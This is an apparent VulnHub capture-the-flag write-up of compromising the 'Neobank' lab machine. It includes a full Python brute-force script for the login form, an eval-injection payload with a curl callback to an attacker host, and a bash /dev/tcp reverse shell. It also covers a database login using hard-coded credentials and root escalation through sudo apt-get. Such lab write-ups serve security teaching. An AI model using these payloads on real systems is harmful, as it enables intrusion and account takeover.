# Neobank: 1 BOOT2ROOT CTF VULNHUB WRITEUP

Welcome to my writeup on the *Neobank* machine from VulnHub. In this walkthrough, I will document the entire exploitation process as if conducting a formal penetration test. The objective is to simulate a real-world assessment by identifying and leveraging vulnerabilities to gain root access on the target system. This includes a structured approach involving initial reconnaissance, enumeration, exploitation, and privilege escalation. All steps are outlined clearly, supported with relevant tools and commands used during the engagement. This writeup aims not only to showcase the methodology but also to reinforce key principles in offensive security.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FSa2bzu6YS6Zx4MkRGHe9%2F51ede97854c68d115c097abc3c074ddb.gif?alt=media&#x26;token=8acdf752-f40b-4086-bc51-fc75d73777c4" alt=""><figcaption></figcaption></figure>

**Reconnaissance**

We will begin the assessment by performing a network scan using **Nmap** to identify open ports and potential entry points on the target system.

`nmap -A -sC -p- T5 -oN nmap_result.log 192.168.191.78`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F655CdQHpGquIWTJCPqNy%2FScreenshot%20(1304).png?alt=media&#x26;token=6ca96710-98e6-40c9-8286-54a6fb236d73" alt=""><figcaption><p>HTTP open in 5000</p></figcaption></figure>

Next, we navigate to the HTTP service in a web browser to manually inspect the content served by the web server.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FMfNFUnf0PjQZWHZvOhYD%2FScreenshot%20(1305).png?alt=media&#x26;token=e785fdf1-2879-4875-8062-a261c8460682" alt=""><figcaption><p>We are redirected to a login page asking for email and a pin</p></figcaption></figure>

**Enumeration**

The next step involved performing directory enumeration using **Gobuster** to identify accessible subdirectories on the web server.

`gobuster dir -u http://192.168.191.78:5000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 40 -x html,php,txt -q`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F8kOgqH6Taww7y9fCmylk%2FScreenshot%20(1307).png?alt=media&#x26;token=48a8e6a1-0447-46ce-9361-7eedda8cf0a6" alt=""><figcaption><p>While scanning, a subdirectory name <strong>/email_list</strong></p></figcaption></figure>

We then accessed the discovered subdirectory to analyze its contents. The following observations were made:

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FecDkETHjlIaJtIjqKkIC%2FScreenshot%20(1308).png?alt=media&#x26;token=cf691c1f-e33d-4e1f-9eee-070276e42c86" alt=""><figcaption><p>11 neobank emails</p></figcaption></figure>

Given that the page displays a collection of email addresses and the previously discovered login page requires an email for authentication, it was reasonable to assume one of these could be valid credentials. Therefore, the email addresses were extracted and saved to a file named `neobank_emails.txt` for further use.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FVJ00sCRSCCcrar8I8Rxp%2FScreenshot%20(1309).png?alt=media&#x26;token=9d6a486b-ca85-4880-90d5-f382c22b250d" alt=""><figcaption></figcaption></figure>

At this stage, it might seem logical to proceed with a brute-force attack using the collected email addresses. While this is a viable option, it's important to first analyze the behavior of the login page when invalid credentials are submitted. This may reveal useful information or unexpected responses that could aid in the next steps.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FDUM46aF9puUkiAf5RKbR%2FScreenshot%20(1312).png?alt=media&#x26;token=cb77d74a-a754-408f-8b2a-3f11a5619b28" alt=""><figcaption></figcaption></figure>

It is noteworthy that the authentication mechanism does not provide explicit feedback or distinguishable error messages upon submission of invalid credentials. This behavior results in uniform server responses regardless of the legitimacy of the input, effectively obfuscating authentication failure events. Consequently, automated credential brute-forcing tools such as Hydra are rendered ineffective, as these tools depend on differential server responses to ascertain the validity of login attempts. The absence of response variance prevents reliable identification of successful authentications, thereby negating the utility of brute-force methodologies in this context.

However, how can we perform brute forcing under these conditions? While traditional tools may be ineffective, it is still possible to carry out a brute-force attack by developing a custom approach tailored to the system’s specific behavior.

**Exploitation**

Before developing our brute-force script, it is necessary to generate an appropriate wordlist for potential PINs. Since we already possess a wordlist of email addresses, it is reasonable to assume that the PIN consists of up to six digits. To this end, we will extract numeric passwords of six digits or less from the `rockyou.txt` dataset, then sort and filter them accordingly to create a focused PIN wordlist.

To begin, I extracted all numeric values.

`cat /usr/share/wordlists/rockyou.txt | egrep "^[0-9]*[0-9]$" > pins.txt`&#x20;

Next, I filtered the numeric values to include only those with six digits or fewer.

`cat pins.txt | grep -x '.\{6\}' | sponge pins.txt`

With the comprehensive PIN list generated, encompassing all values from 000000 to 999999, we proceeded to develop a custom brute-force script to systematically test these credentials against the target authentication mechanism.

```python
import requests
import sys

# Target endpoint URL for the login form
TARGET_URL = "http://192.168.191.78:5000/login"

# File paths to the wordlists containing email addresses and PINs
EMAIL_LIST_PATH = "neobank_emails.txt"
PIN_LIST_PATH = "pins.txt"

def read_lines_from_file(path):
    """
    Reads lines from a file and strips whitespace.
    Returns a list of non-empty lines.
    Exits the program with an error message if the file can't be read.
    """
    try:
        with open(path, 'r') as file:
            return [line.strip() for line in file if line.strip()]
    except Exception as e:
        print(f"[!] Failed to read from {path}: {e}")
        sys.exit(1)

def attempt_login(email, pin):
    """
    Attempts to authenticate to the target URL using the given email and PIN.
    Returns True if a valid credential is identified (based on status code and cookies).
    """
    session = requests.Session()
    payload = {
        "email": email,
        "pin": pin
    }

    try:
        # Send the POST request with the login form data
        response = session.post(TARGET_URL, data=payload)
        code = response.status_code

        # Log each attempt to track progress and responses
        print(f"[*] Attempting {email}:{pin} --> HTTP {code}")

        # Heuristic for successful login:
        # HTTP 200 OK and exactly one session cookie received
        if code == 200 and len(response.cookies) == 1:
            print(f"[+] VALID CREDENTIAL FOUND")
            print(f"    ├── Email       : {email}")
            print(f"    ├── PIN         : {pin}")
            print(f"    └── Status Code : {code}\n")
            return True

    except requests.RequestException as err:
        print(f"[!] Request failed for {email}:{pin} --> {err}")

    return False

def main():
    """
    Main execution logic:
    - Load wordlists for emails and PINs
    - Begin brute-force attempts across all combinations
    - Stop once a valid credential pair is discovered
    """
    emails = read_lines_from_file(EMAIL_LIST_PATH)
    pins = read_lines_from_file(PIN_LIST_PATH)
    
    print(f"[*] Loaded {len(emails)} email(s) and {len(pins)} PIN(s).")
    print(f"[*] Starting brute-force operation...\n")

    # Iterate through all email and PIN combinations
    for pin in pins:
        for email in emails:
            if attempt_login(email, pin):
                return  # Exit on first valid credential pair found

if __name__ == "__main__":
    main()

```

It’s important to note that the brute-force process may be time-consuming due to the volume of PIN combinations being tested. Patience is required as the operation progresses through each credential pair systematically.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FABEQyRXZkcGhUQE3oF6p%2FScreenshot%20(1316).png?alt=media&#x26;token=517a1c2c-c874-4fc6-bc67-47b493f561b5" alt=""><figcaption><p>After a significant amount of time, the valid credentials were eventually identified.</p></figcaption></figure>

With both the email and corresponding PIN now obtained, we can proceed to authenticate to the target application.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FUiSL2cQl1ddX9HDVCM0i%2FScreenshot%20(1317).png?alt=media&#x26;token=8ee069a0-1304-4712-a4f4-c724d6c5c02e" alt=""><figcaption></figcaption></figure>

Upon successful login, the application prompts for a second authentication factor—a time-based one-time password (TOTP). However, the challenge lies in locating the secret key or QR code required to configure it in an authenticator app.

I proceeded to enumerate accessible subdirectories and came across one named `/qr`&#x20;

`gobuster dir -u http://192.168.191.78:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x html,php,txt -q`

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fxxf5p2KG0OBPLwGDXOmp%2FScreenshot%20(1318).png?alt=media&#x26;token=9298e09a-9a07-4fa2-ab8d-c99eb77324e6" alt=""><figcaption></figcaption></figure>

Navigating to the `/qr` directory revealed a QR code, which is commonly used to set up TOTP-based 2FA in authenticator applications.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fb6Hhxa2yF9h9spAafTnb%2FScreenshot%20(1319).png?alt=media&#x26;token=b68a0af3-a499-4cba-983d-fdfc2a86de8f" alt=""><figcaption></figcaption></figure>

After scanning the QR code using an authenticator app on my phone, it successfully generated a valid TOTP code.

Upon submitting the 6-digit TOTP code, the application redirected to the following page.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FNLNJbBmx3TLGGJUcxnbh%2FScreenshot%20(1320).png?alt=media&#x26;token=53ad532e-8120-4489-a120-176e6b27ef22" alt=""><figcaption><p>Looks like a banking system</p></figcaption></figure>

Since it’s a banking system that allows balance withdrawals, let’s go ahead and try withdrawing.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fmy3OA8LQZeohkCb4keIa%2FScreenshot%20(1322).png?alt=media&#x26;token=91d6c5a3-ec14-4370-a0ee-c6cb4d26138b" alt=""><figcaption></figcaption></figure>

That's odd—why did it turn negative? Seems like there's a logic flaw here. Let's launch Burp Suite and dig deeper.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FsyFNM4zN2jnHodflaV3X%2FScreenshot%20(1323).png?alt=media&#x26;token=b05b72b2-e47a-4d39-af7d-3f31506f4e1e" alt=""><figcaption></figcaption></figure>

While reviewing, I identified a URL parameter named `withdraw`, which appears to control the amount being withdrawn. To verify its functionality, I modified the parameter to `1` and observed that the application successfully processed the request and returned an appropriate response. This confirms that the `withdraw` parameter plays a direct role in the application's transaction logic. Given its behavior and lack of apparent validation, this parameter may potentially serve as an entry point for further exploitation—possibly leading to remote code execution (RCE) if improperly handled on the backend.

After trying different payloads, this one works:

`__import__('os').system('curl <attacker_ip>')`&#x20;

All I did is to setup an http server in my attacker machine to see if that request will be sent to the server. and it is.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FWIXYK5VyVzXDXzw6EgZQ%2FScreenshot%20(1329).png?alt=media&#x26;token=065ce9db-9111-4768-9ab5-30df05e9b53e" alt=""><figcaption></figcaption></figure>

At this stage, the goal is to establish a reverse shell connection to gain remote access to the target system. For this, I crafted a payload designed to initiate a reverse shell using bash:

`/bin/bash -c 'bash -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1'`&#x20;

The next step is to configure a listener on our machine using **ncat**.

`nc -lnvp 1234`&#x20;

Once the payload is delivered to the server, it is expected to establish a shell connection back to us.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FOCevaVK7Yf2ec5l4vTMj%2FScreenshot%20(1330).png?alt=media&#x26;token=7ce5957d-a183-4672-ad07-65a1cd927c5c" alt=""><figcaption><p>Notice that the payload is URL-encoded</p></figcaption></figure>

Here's our listener:

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F8RnPLw0aQapKYO8ufGds%2FScreenshot%20(1331).png?alt=media&#x26;token=986bdd26-a0c9-4bc6-b610-8cf76b554565" alt=""><figcaption></figcaption></figure>

Within the `/var/www/html` directory, I located a file named `main.py`. Let’s examine its contents.

```python
from flask import jsonify
from flask import Flask,flash,redirect,render_template,request,session,abort
from passlib.hash import sha256_crypt
import mysql.connector as mariadb
import os
import operator
import pyotp
import pyqrcode
from io import BytesIO
app = Flask(__name__)
con = mariadb.connect(user='banker',password='neobank1',database='bank')
secret = pyotp.random_base32()
@app.route('/')
def home():
  if not session.get('logged_in'):
    return render_template('login.html')
  else:
    return render_template('index.html')

@app.route('/login',methods=['POST'])
def do_admin_login():
  login = request.form
  email = login['email']
  pin = login['pin']
  cur = con.cursor(buffered=True)
  sql = "SELECT pin FROM account WHERE email = %s"
  e = (email,)
  data = cur.execute(sql,e)
  data = cur.fetchone()
  if not data:
    flash('Wrong email or pin!') 
  elif sha256_crypt.verify(pin,data[0]):
    account = True
    if account:
      session['logged_in'] = True
      session['email'] = email
      flash('Success!')
    else:
      flash('Wrong email or pin!')
  return home()
@app.route('/qr',methods=['GET'])
def qrcode():
  if session.get('logged_in'):
   uri = pyotp.totp.TOTP(secret).provisioning_uri(session['email'],issuer_name="neobank.vln")
   totp =  pyotp.TOTP(secret)
   url = pyqrcode.create(uri)
   stream = BytesIO()
   url.svg(stream,scale=5)
   return stream.getvalue(),200,{
     'Content-Type': 'image/svg+xml',
     'Cache-Control': 'no-cache, no-store, must-revalidate',
     'Pragma': 'no-cache',
     'Expires': '0'
     }
  else:
   return render_template('login.html')
@app.route('/otp',methods=['POST','GET'])
def otp():
  if session.get('logged_in') and request.method == 'POST':
   login = request.form
   code = login['otp']
   totp =  pyotp.TOTP(secret)
   if totp.verify(code):
     cur = con.cursor(buffered=True)
     q = "SELECT email,balance FROM account WHERE email = %s"
     e = (session['email'],)
     data = cur.execute(q,e)
     data = cur.fetchone()
     if not data:
      return render_template('index.html')
     else:
      session['data'] = data
      return render_template('bank.html',data=data)
   else:
     return render_template('index.html')
  else:
    return home()
@app.route('/email_list',methods=['GET'])
def getEmails():
  cursor = con.cursor()
  cursor.execute("SELECT email FROM account")
  emails = cursor.fetchall()
  return jsonify(emails)
@app.route('/withdraw', methods=['POST'])
def withdraw():
  if session['logged_in']:
    amount = request.form['withdraw']
    data = session['data']
    balance =  eval(amount+"-"+data[1])
    data = [session['email'],balance]
    return render_template('bank.html',data=data)
  else:
    return home()
@app.route('/logout')
def logout():
  session['logged_in'] = False
  session['email'] =  None
  session['data'] = None
  return home()

if __name__ == "__main__":
   app.secret_key = os.urandom(12)
   app.run(debug=False,host='0.0.0.0',port=5000)
```

It’s important to note that the MariaDB username and password are hard-coded within the script. This indicates that the system utilizes a database management system (DBMS) to store user information, including the email addresses previously discovered. The next step is to attempt logging into the database using these credentials.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FTU6Z7X1dSKBz97oB3sOV%2FScreenshot%20(1338).png?alt=media&#x26;token=a5e63d84-ca25-4f0b-9ad2-a6b55710ca79" alt=""><figcaption></figcaption></figure>

Access to the database was successfully gained. Upon inspecting the available databases, I identified one named `bank`. Within this database, there are two distinct tables.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Flx0JpB2EuKB0D6ggtowp%2FScreenshot%20(1340).png?alt=media&#x26;token=0d147a2b-4b34-40d2-a96e-3b4c2d7caa23" alt=""><figcaption></figcaption></figure>

The **`accounts`** table contains the user records, including their email addresses and hashed PINs.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FJsiSt2uk8UWqq0b7zpOJ%2FScreenshot%20(1341).png?alt=media&#x26;token=1c159218-5924-449c-8089-12795e627773" alt=""><figcaption></figcaption></figure>

Within the `system` table, I found the plaintext password associated with the user named `banker`.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FWiO6ld1NLwcyOXIBaYMg%2FScreenshot%20(1342).png?alt=media&#x26;token=4e30fc7e-0f33-4290-817c-cab5b4f4a2f1" alt=""><figcaption></figcaption></figure>

Now let's switch to user `banker` .

`su banker`&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F8fbcVK7Q8CNG3ByKPDEd%2FScreenshot%20(1343).png?alt=media&#x26;token=960e7c98-b068-47a3-99be-b77ca040ca08" alt=""><figcaption></figcaption></figure>

At this point, we successfully compromised the user `banker` and obtained the user-level flag.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F08O23Ve5w6hhjITWulvt%2FScreenshot%20(1344).png?alt=media&#x26;token=c23f040f-0a42-440b-a5ab-778c492bfc85" alt=""><figcaption><p>User flag!!!</p></figcaption></figure>

With initial access established, the next objective is to escalate privileges and gain root access. To begin the privilege escalation process, I examined which commands could be executed with elevated privileges by running `sudo -l`.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F9wGdl6xZzEiuGnFZK0M7%2FScreenshot%20(1347).png?alt=media&#x26;token=c5410bc8-197c-4e75-9c06-41174cf1b528" alt=""><figcaption></figcaption></figure>

It appears that the `apt-get` command can be executed with elevated privileges via `sudo`. This is significant because `apt-get` is a package management tool used on Debian-based systems (such as Ubuntu) to install, upgrade, and manage software packages. When misconfigured or unrestricted under `sudo`, it can be leveraged to escalate privileges—potentially allowing an attacker to gain root access through methods like installing packages with post-installation scripts.

To explore potential ways to leverage `apt-get` for privilege escalation, I consulted GTFOBins—a well-known resource that documents how common Linux binaries can be exploited when misconfigured.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F1Nns8uxjyciRTnZwQVmP%2FScreenshot%20(1348).png?alt=media&#x26;token=029b85d6-25f5-4337-8e5c-88e34ee8ec93" alt=""><figcaption></figcaption></figure>

The `apt-get changelog` command **downloads the changelog over HTTP or HTTPS and opens it using the default pager** (usually `less`, `more`, etc.). If that pager allows us to **run shell commands**, then we can escape to a shell **from inside the pager**.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FjkgVHxoFkHaQ4liKhqPi%2FScreenshot%20(1352).png?alt=media&#x26;token=46886e29-5e57-4721-9a73-2009ed8fe3cb" alt=""><figcaption></figcaption></figure>

At this point, it's evident that privilege escalation is possible. Executing the final command and pressing Enter should result in a root shell being spawned.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FUYfXp1WgqfUAo9uxMOxD%2FScreenshot%20(1353).png?alt=media&#x26;token=8a864e90-2220-4ab2-8310-712e16d4b932" alt=""><figcaption></figcaption></figure>

Root access has been successfully obtained—Neobank has been fully compromised.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fixc5MHuhhFOzJA4k837H%2FScreenshot%20(1355).png?alt=media&#x26;token=75fce0ed-6de6-4566-98dc-f97733e77464" alt=""><figcaption><p>Root flag</p></figcaption></figure>

**Conclusion**

This assessment successfully demonstrated a full compromise of the *Neobank* machine hosted on VulnHub. The engagement began with reconnaissance using `nmap`, followed by web enumeration that led to the discovery of exposed subdirectories and email data. By leveraging this information, a custom brute-force script was developed to bypass an intentionally vague login mechanism and identify valid credentials.

Subsequently, a time-based two-factor authentication (2FA) challenge was bypassed by locating and scanning a QR code linked to a TOTP generator. Post-authentication, parameter tampering was observed in the `withdraw` functionality, which ultimately provided a foothold for Remote Code Execution (RCE) via a crafted reverse shell payload.

Privilege escalation was achieved by identifying `apt-get` as an executable command with elevated privileges through `sudo`. Utilizing guidance from GTFOBins, the misconfiguration was exploited to gain root access.

The engagement successfully uncovered multiple security flaws across the attack chain—from information disclosure and weak authentication mechanisms to improper input handling and insecure privilege escalation paths—highlighting critical areas that need to be addressed in the application and system configuration to improve overall security posture.
